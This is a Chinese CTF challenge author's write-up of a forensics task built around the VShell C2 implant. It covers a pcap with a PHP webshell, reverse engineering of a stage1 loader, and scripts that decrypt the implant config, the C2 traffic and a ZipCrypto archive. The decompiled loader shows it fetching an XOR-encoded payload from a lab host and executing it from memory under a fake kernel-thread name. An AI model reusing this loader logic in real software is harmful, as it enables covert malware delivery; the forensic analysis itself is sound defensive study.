V(N)shell 出题小记
出题思路 php 一句话木马->stage1->stage2->zip2json
环境准备
VShell 监听:
-
mode:
TCP -
Listen_addr:
0.0.0.0:11451 -
Vkey:
We1c0nn3_t0_VNctf2O26!!! -
Salt:
It_is_my_secret!!!
Virtualbox Kali linux
单网卡:Host-only:192.168.56.103
桌面有个 VIP_file,内容是Welcome to the V&N family
具体流程
先访问 8000,随便点几个,水水流量包,然后发送这个 gift 文件(得隐蔽点),再随便传递一些垃圾文件
接着我触发 sh 文件运行 stage1,成功上线,然后随便执行命令,用 zip 加密了一个文件,并用 zip2john 提取对应的 pk 哈希值,需要恢复内容(强网拟态决赛遇到的知识点,真感觉不错
官方 wp(我写的,所以官方
tips
GitHub - Esonhugh/How-AI-Kills-the-VShell: Article backup(https://github.com/Esonhugh/How-AI-Kills-the-VShell/tree/Skyworship)
提取 stage1,stage2
初步打开流量包分析,看到 shell.php 执行了一些系统命令,过滤分析
http.request.uri contains "shell.php"
可以看到我传递了一些文件,最后执行了bash open

先分析 open 文件
http contains "open"
追踪到这个 open 是一个 sh 脚本文件,作用是执行 gift 程序,已经可以猜测到了,这里的 gift 就是 stage1 加载器
将 gift 导出,并用 ida 进行逆向分析
对 main 函数进行反编译,了解加载器主要逻辑
int __fastcall main(int argc, const char **argv, const char **envp)
{
struct hostent *v3; // rax
in_addr_t v4; // eax
int v5; // eax
int v6; // ebx
int v7; // r12d
int v8; // edx
_BYTE *v9; // rax
__int64 v10; // rcx
_DWORD *v11; // rdi
_BYTE buf[2]; // [rsp+2h] [rbp-1476h] BYREF
int optval; // [rsp+4h] [rbp-1474h] BYREF
char *argva[2]; // [rsp+8h] [rbp-1470h] BYREF
sockaddr addr; // [rsp+1Ch] [rbp-145Ch] BYREF
char name[33]; // [rsp+2Fh] [rbp-1449h] BYREF
char resolved[1024]; // [rsp+50h] [rbp-1428h] BYREF
_BYTE v19[4136]; // [rsp+450h] [rbp-1028h] BYREF
if ( !access("/tmp/log_de.log", 0) )
exit(0);
qmemcpy(name, "192.168.56.1", sizeof(name));
*(_QWORD *)&addr.sa_family = 3140222978LL;
*(_QWORD *)&addr.sa_data[6] = 0;
v3 = gethostbyname(name);
if ( v3 )
v4 = **(_DWORD **)v3->h_addr_list;
else
v4 = inet_addr(name);
*(_DWORD *)&addr.sa_data[2] = v4;
v5 = socket(2, 1, 0);
v6 = v5;
if ( v5 >= 0 )
{
optval = 10;
setsockopt(v5, 6, 7, &optval, 4u);
while ( connect(v6, &addr, 0x10u) == -1 )
sleep(0xAu);
send(v6, "l64 ", 6u, 0);
buf[0] = addr.sa_data[0];
buf[1] = addr.sa_data[1];
send(v6, buf, 2u, 0);
send(v6, name, 0x20u, 0);
v7 = syscall(319, "a", 0);
if ( v7 >= 0 )
{
while ( 1 )
{
v8 = recv(v6, v19, 0x1000u, 0);
if ( v8 <= 0 )
break;
v9 = v19;
do
*v9++ ^= 0x99u;
while ( (int)((_DWORD)v9 - (unsigned int)v19) < v8 );
write(v7, v19, v8);
}
v10 = 1024;
v11 = v19;
while ( v10 )
{
*v11++ = 0;
--v10;
}
close(v6);
realpath(*argv, resolved);
setenv("CWD", resolved, 1);
argva[0] = "[kworker/0:2]";
argva[1] = 0;
fexecve(v7, argva, _bss_start);
}
}
return 0;
}
简而言之,就是加载器会连接远程服务器下载 stage2 主木马,在下载过程中,会对数据进行0x99异或
先划拉到执行bash open那里,下面会看到受害机器与新的端口进行握手,然后就是传递 stage2,其实已经可以锁定第二题答案了,就是192.168.56.1:11451

对 stage1 仔细分析的话,会明白,加载器会先传递 l64 和监听地址等信息,然后接收异或数据
提取出来 stage2 后继续逆向分析
提取 config
方法一
具体程序逻辑还是参照上面提供的 github 仓库链接,那位大佬描述的很清晰
至于 config 如何提取,我有小技巧
手撕两天 GO 汇编,re 手还是太辛苦了
在汇编里面直接搜索5000h就能找到加密config存放的位置(我观察了老久了,发现 vshell 的任何模式对于 config 的加密数据,最后都是生成 5000h 大小,也就是 20480 字节的空间存储

观察到这个大小的字节被sub_598F00函数调用,可以直接了解到加密逻辑(逆向起来如果有点吃力的话,可以继续参考仓库,里面描述了,config 的解密逻辑是通过 aes_cbc_pkcs7_decrypt模式解密,其中 key 与 iv 均为该配置块的前 16 字节,最后通过 JSON Unmarshal 进行反序列化。
先提取加密信息
import idc
import os
def extract_binary_data(start_addr, size, output_file):
try:
if isinstance(start_addr, str):
start_addr = int(start_addr, 16)
print(f"开始提取数据...")
print(f"起始地址: 0x{start_addr:X}")
print(f"数据大小: {size} 字节")
print(f"结束地址: 0x{start_addr + size:X}")
print(f"输出文件: {output_file}")
if start_addr == idaapi.BADADDR:
print("错误: 无效的起始地址")
return False
max_addr = idaapi.get_fileregion_ea(0)
if start_addr + size > max_addr:
print(f"警告: 提取范围可能超出文件边界")
print(f"文件最大地址: 0x{max_addr:X}")
data = idaapi.get_bytes(start_addr, size)
if data is None:
print("错误: 无法读取指定地址的数据")
return False
with open(output_file, 'wb') as f:
f.write(data)
print(f"成功提取 {len(data)} 字节到 {output_file}")
print(f"\n统计信息:")
print(f"提取的字节数: {len(data)}")
return True
except Exception as e:
print(f"提取过程中发生错误: {e}")
return False
def main():
start_addr = 0x8C6339
size = 20480
output_file = "extracted_data.bin"
success = extract_binary_data(start_addr, size, output_file)
if success:
print(f"\n提取完成!文件已保存为: {os.path.abspath(output_file)}")
else:
print("提取失败")
if __name__ == "__main__":
main()
这里用 ida 跑脚本还是蛮方便的
接下来对 config 解密
这是我的解密脚本(我发现这里并不像仓库说的,用 pkcs7 填充,因为数据后面全是 0,就当 vshell 开发者使用 0 填充的 config 信息然后进行加密)
from Crypto.Cipher import AES
import json
def remove_zero_padding(data):
"""移除零填充 - 去掉末尾的所有0x00字节"""
end_pos = len(data)
while end_pos > 0 and data[end_pos-1] == 0:
end_pos -= 1
return data[:end_pos]
def decrypt_embedded_config():
"""解密嵌入的配置数据"""
input_file = "/home/yolo/下载/extracted_data.bin"
with open(input_file, "rb") as f:
encrypted_data = f.read()
print(f"加密数据总大小: {len(encrypted_data)} 字节")
# 提取密钥和IV(前16字节)
key_iv = encrypted_data[:16]
print(f"密钥/IV: {key_iv.hex()}")
# 实际的加密数据(从第17字节开始)
actual_encrypted = encrypted_data[16:]
print(f"实际加密数据大小: {len(actual_encrypted)} 字节")
# AES-CBC解密
cipher = AES.new(key_iv, AES.MODE_CBC, key_iv)
decrypted_raw = cipher.decrypt(actual_encrypted)
print(f"原始解密数据大小: {len(decrypted_raw)} 字节")
# 尝试移除零填充(根据你的输出,数据末尾有很多0x00)
decrypted = remove_zero_padding(decrypted_raw)
print(f"去除零填充后大小: {len(decrypted)} 字节")
try:
decoded_str = decrypted.decode('utf-8')
print("✅ 成功解码为UTF-8")
# 尝试解析为JSON
try:
config = json.loads(decoded_str)
print("✅ 成功解析为JSON")
# 保存JSON文件
with open("decrypted_config.json", "w", encoding="utf-8") as f:
json.dump(config, f, indent=2, ensure_ascii=False)
print("✅ 已保存到: decrypted_config.json")
print("\n配置内容:")
for key, value in config.items():
print(f" {key}: {value}")
return config
except json.JSONDecodeError:
print("⚠️ 不是JSON格式,保存为文本文件")
with open("decrypted_text.txt", "w", encoding="utf-8") as f:
f.write(decoded_str)
print("✅ 已保存到: decrypted_text.txt")
print(f"\n文本内容前500字符:")
print(decoded_str[:500])
except UnicodeDecodeError:
print("❌ 不是有效的UTF-8,保存为二进制文件")
with open("decrypted_binary.bin", "wb") as f:
f.write(decrypted)
print("✅ 已保存到: decrypted_binary.bin")
print(f"\n十六进制预览(前200字节):")
print(decrypted[:200].hex())
if __name__ == "__main__":
decrypt_embedded_config()
解密后成功拿到第三问答案It_is_my_secret!!!
方法二
在 ida 中进行分析,应该不难全局查找 json 字符(通过文章可以清楚,最后解密出来的信息是段 json 序列
随意点击一个

通过交叉引用,选中call encoding_json_Unmarshal(我选的第二行那个,相对来说最早调用的

查看它的地址0x598FB8

在获取这个地址的时候,可以稍微对上下程序分析,大致逻辑是读取密文->调用解密函数->得到明文->解析 JSON 到结构体
这里的encoding_json_Unmarshal就是最后一步
然后上 gdb 可以打个断点直接获取(pwngdb 完全可以一把梭)
pwndbg> b *0x598FB8
Breakpoint 1 at 0x598fb8
pwndbg> run
Starting program: /home/yolo/下载/download.elf
[New LWP 300055]
[New LWP 300056]
[New LWP 300058]
[New LWP 300057]
Thread 1 "download.elf" hit Breakpoint 1, 0x0000000000598fb8 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────[ LAST SIGNAL ]────────────────────────────────────────
Breakpoint hit at 0x598fb8
────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────
RAX 0xc0001b1000 ◂— '{"server":"192.168.56.1:11451","type":"tcp","vkey":"We1c0nn3_t0_VNctf2O26!!!","proxy":"","salt":"It_is_my_secret!!!","l":false,"e":false,"d":30,"h":10}'
RBX 0x97
RCX 0x4ff0
RDX 0
RDI 0x8081a0 ◂— 8
RSI 0xc00018c070 ◂— 0
R8 0xc0001b1000 ◂— '{"server":"192.168.56.1:11451","type":"tcp","vkey":"We1c0nn3_t0_VNctf2O26!!!","proxy":"","salt":"It_is_my_secret!!!","l":false,"e":false,"d":30,"h":10}'
R9 0
R10 0x10
R11 0x10
R12 0xc000026260 ◂— 0x18b63140574269ac
R13 0x10
R14 0xc0000061a0 —▸ 0xc0000c2000 ◂— 0
R15 0x10
RBP 0xc0000c3e08 —▸ 0xc0000c3f58 —▸ 0xc0000c3f70 —▸ 0xc0000c3fd0 ◂— 0
RSP 0xc0000c3dc8 —▸ 0xc0001b1000 ◂— '{"server":"192.168.56.1:11451","type":"tcp","vkey":"We1c0nn3_t0_VNctf2O26!!!","proxy":"","salt":"It_is_my_secret!!!","l":false,"e":false,"d":30,"h":10}'
RIP 0x598fb8 ◂— call 0x5564e0
─────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────
► 0x598fb8 call 0x5564e0 <0x5564e0>
0x598fbd nop dword ptr [rax]
0x598fc0 test rax, rax
0x598fc3 je 0x599027 <0x599027>
0x598fc5 nop
0x598fc6 lea rax, [rip + 0x2aa6f3] RAX => 0x8436c0 ◂— 0x10
0x598fcd call 0x40ce80 <0x40ce80>
0x598fd2 mov qword ptr [rax + 8], 0xa
0x598fda lea rcx, [rip + 0x30c21a] RCX => 0x8a51fb ◂— 0x65206769666e6f63 ('config e')
0x598fe1 mov qword ptr [rax], rcx
0x598fe4 mov rsi, qword ptr [rsp + 0x38]
───────────────────────────────────────────[ STACK ]───────────────────────────────────────────
00:0000│ rsp 0xc0000c3dc8 —▸ 0xc0001b1000 ◂— '{"server":"192.168.56.1:11451","type":"tcp","vkey":"We1c0nn3_t0_VNctf2O26!!!","proxy":"","salt":"It_is_my_secret!!!","l":false,"e":false,"d":30,"h":10}'
01:0008│-038 0xc0000c3dd0 ◂— 0x4ff0
02:0010│-030 0xc0000c3dd8 ◂— 0x4ff0
03:0018│-028 0xc0000c3de0 —▸ 0x94eeb0 ◂— 0
04:0020│-020 0xc0000c3de8 —▸ 0xc0000c3e58 ◂— 0
05:0028│-018 0xc0000c3df0 ◂— 0x5000
06:0030│-010 0xc0000c3df8 —▸ 0xc0001ac000 ◂— 0x18b63140574269ac
07:0038│-008 0xc0000c3e00 —▸ 0xc00018c070 ◂— 0
─────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────
► 0 0x598fb8 None
1 0xc0001b1000 None
2 0x4ff0 None
3 0x4ff0 None
4 0x94eeb0 None
5 0xc0000c3e58 None
6 0x5000 None
7 0xc0001ac000 None
─────────────────────────────────────[ THREADS (5 TOTAL) ]─────────────────────────────────────
► 1 "download.elf" stopped: 0x598fb8
5 "download.elf" stopped: 0x403c4e
4 "download.elf" stopped: 0x45dcd2
3 "download.elf" stopped: 0x45dc63
Not showing 1 thread(s). Use set context-max-threads <number of threads> to change this.
───────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/20gx $rsp
0xc0000c3dc8: 0x000000c0001b1000 0x0000000000004ff0
0xc0000c3dd8: 0x0000000000004ff0 0x000000000094eeb0
0xc0000c3de8: 0x000000c0000c3e58 0x0000000000005000
0xc0000c3df8: 0x000000c0001ac000 0x000000c00018c070
0xc0000c3e08: 0x000000c0000c3f58 0x00000000007de458
0xc0000c3e18: 0x0000000000000000 0x0000000000000000
0xc0000c3e28: 0x0000000000000000 0x0000000000000000
0xc0000c3e38: 0x0000000000000000 0x0000000000000000
0xc0000c3e48: 0x0000000000000000 0x0000000000000000
0xc0000c3e58: 0x0000000000000000 0x0000000000000000
pwndbg> x/s 0x000000c0001b1000
0xc0001b1000: "{\"server\":\"192.168.56.1:11451\",\"type\":\"tcp\",\"vkey\":\"We1c0nn3_t0_VNctf2O26!!!\",\"proxy\":\"\",\"salt\":\"It_is_my_secret!!!\",\"l\":false,\"e\":false,\"d\":30,\"h\":10}"
pwndbg>
解密流量
接下来可以继续进行逆向分析,拿到流量加密过程中的逻辑
这里也有小技巧,C2 加密通信中,client是有很大概率出现在主逻辑中的,直接在汇编中搜索即可
逐个判断,锁定sub_6D7E40
审计的时候注意下这里,主木马建立通信时,会先检测 vkey 然后进行后续操作,否则直接退出
后面可以继续进行交叉引用逆向分析流量加密逻辑,这里直接将仓库的结论拿过来:
密文通过AES GCM模式加密,nonce为 IV,密钥为salt的md5值
这里再描述下流量包的格式(随机选取了一个稍微长点的流)

-
d7000000这四个字节没有用(所有加密流量开头都有这样四个字节:几乎都是一个非 0 和 3 个 0 组成,作用应该就是流量之间的分割 -
a79b3b8a06961ff983a5d121这 12 个字节就是nonce,在加密中充当IV -
0656681ae1c~faeba0499f78d4中间数据长度没有限制,是密文 -
d057c90912184e3f0daef1bb6d20a21a最后面这 16 个字节是垃圾数据,直接扔了
通过上述结论,可以写出一个简易的单条流量解密脚本
import hashlib
import struct
import re
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
def decrypt_c2_data(salt, hex_payload):
key_hex = hashlib.md5(salt.encode()).hexdigest()
key = key_hex.encode('ascii')
aesgcm = AESGCM(key)
data = bytes.fromhex(hex_payload.replace("\n", "").replace(" ", ""))
msg_len = struct.unpack('<I', data[:4])[0]
content = data[4:4+msg_len]
nonce = content[:12]
ciphertext_with_tag = content[12:]
try:
plaintext = aesgcm.decrypt(nonce, ciphertext_with_tag, None)
print(f"🔓 解密成功 (原始长度 {len(plaintext)} 字节):")
text = plaintext.decode('utf-8', errors='replace')
cleaned_text = text.strip('\x00').strip()
ansi_escape = re.compile(r'(?:\x1B[@-_][0-?]*[ -/]*[@-~]|\x07)')
final_text = ansi_escape.sub('', cleaned_text)
if final_text:
print("-" * 30)
print(f"📄 识别到的文本/命令:\n{final_text}")
print("-" * 30)
else:
print("📄 内容仅包含不可见字符或空格")
print(f"原始 Hex 末尾: {plaintext[-20:].hex()}")
return plaintext
except Exception as e:
print(f"❌ 解密失败: {e}")
return None
SALT = "It_is_my_secret!!!"
data_1 = "2a0100009f0469cacfd2f08d092cbb1c0de3f66d807f3e3b3407e02afc077ef4f7263900e78c97461a8367aac05f0dbe2c84bb44e8c0ff007a9f2afd97858d0eb83b9e712107c142f4a30e0e8e1ebc1c4754a142ed60d777c52a7d5a057ddb910796bd4903acd776c18603c0b4e7741972d96d8ad422904ffa0a2aa4105289439e5c1a0aa351fc75fd4fac22c5058ed379484a4858f2c1c8e0621f27d392026e5abd69f8eff6b6b16db272d3cdaa24af3ce7f6fb1260721033ec9c1d664b5c55e58307cf2814d6f2dce639ebf3566e81141ee0a9fb91c292350b5405d327ca30dadba0c285a1140d29362db2adec41e80ff497f1e5979aa7bfdb42699340e4f309c6b8cfbf8eaf726da31028dbd9c2e6856fae283338ce6631e859026a09e73557ee028656600a67d27a0e3220cd"
print("--- 尝试解密第一条 (Client -> Server) ---")
decrypt_c2_data(SALT, data_1)
"""运行结果
python vshellstudy.py
🔓 解密成功 (原始长度 270 字节):
------------------------------
📄 识别到的文本/命令:
{"ConnType":"v","Host":"v","LocalProxy":false,"RemoteAddr":"v","Req":{"Pass":"v","Type":"M","File":null,"Z1":"zip -9 -e -P \"White_hat\" /home/kali/Desktop/VIP.zip VIP_file/home/kali/Desktop/VIP_file","Z2":"","Z3":"","Z4":"","Z5":""},"Option":{"Timeout":5000000000}}
------------------------------
"""
第四题答案出来了,桌面那个 VIP.zip 压缩包的密码是White_hat
也可以用仓库的解密脚本一把梭,在后续的解密流程中,我们会拿到一组 pkzip 哈希
VIP.zip/VIP_file:$pkzip$1*2*2*0*25*19*2d251cff*0*42*0*25*61e5*1450b3d5736810d8558fa09c3cd1a3c266783e74d767319ed479288f25e35ad3085ee4bba9*$/pkzip$:VIP_file:VIP.zip::VIP.zip
第五个问题是 VIP_file 的内容是什么,这里考察了如何通过zip2john得到的哈希去恢复压缩包内容,实现要求是需要压缩包的密码(明文攻击得到的 keys 也可以),以及压缩包必须是zipcrypto加密
这里可以参考buckeyectf2025-zip2johnzip 的题解去解决,解密脚本如下
#!/usr/bin/env python3
def pkcrc(x, b):
x = (x ^ b) & 0xFFFFFFFF
for _ in range(8):
if x & 1:
x = (x >> 1) ^ 0xedb88320
else:
x = x >> 1
return x & 0xFFFFFFFF
def decrypt_stream(encrypted_data, password):
"""
Decrypts a raw stream of ZipCrypto-encrypted bytes.
"""
key0 = 0x12345678
key1 = 0x23456789
key2 = 0x34567890
def _update_keys(byte_val):
nonlocal key0, key1, key2
key0 = pkcrc(key0, byte_val)
temp = (key1 + (key0 & 0xff)) & 0xFFFFFFFF
key1 = (((temp * 0x08088405) & 0xFFFFFFFF) + 1) & 0xFFFFFFFF
key2 = pkcrc(key2, (key1 >> 24) & 0xff)
def _get_keystream_byte():
nonlocal key2
# This part generates the 1-byte keystream from key2
temp = (key2 & 0xFFFF) | 3
return (((temp * (temp ^ 1)) & 0xFFFF) >> 8) & 0xff
# Initialize keys with the password
for byte_val in password:
_update_keys(byte_val)
# Decrypt the data
decrypted = bytearray()
for encrypted_byte in encrypted_data:
keystream_byte = _get_keystream_byte()
decrypted_byte = encrypted_byte ^ keystream_byte
decrypted.append(decrypted_byte)
_update_keys(decrypted_byte)
return bytes(decrypted)
def parse_pkzip_hash(hash_string):
if ":$pkzip$" in hash_string:
hash_part=hash_string.split(":$pkzip$")[1]
else:
hash_part=hash_string
hash_part=hash_part.split("*$/pkzip$")[0]+"*"
parts=hash_part.split('*')
encrypted_hex=parts[-2]
print(f"\nEncrypted hex:{encrypted_hex}")
return bytes.fromhex(encrypted_hex)
if __name__ == "__main__":
hash = open("./ziphash").read().strip()
password = b"White_hat" # just throw hash at hashcat / rockyou.txt
enc=parse_pkzip_hash(hash)
#enc = bytes.fromhex(hash.split('*')[13])
print(decrypt_stream(enc,password)[12:])
"""
➜ vnctf cat ziphash
VIP.zip/VIP_file:$pkzip$1*2*2*0*25*19*2d251cff*0*42*0*25*61e5*1450b3d5736810d8558fa09c3cd1a3c266783e74d767319ed479288f25e35ad3085ee4bba9*$/pkzip$:VIP_file:VIP.zip::VIP.zip
➜ vnctf python zipjohn.py
Encrypted hex:1450b3d5736810d8558fa09c3cd1a3c266783e74d767319ed479288f25e35ad3085ee4bba9
b'Welcome to the V&N family'
"""
第五题答案参上,本题 Solve
喜欢的话,留下你的评论吧~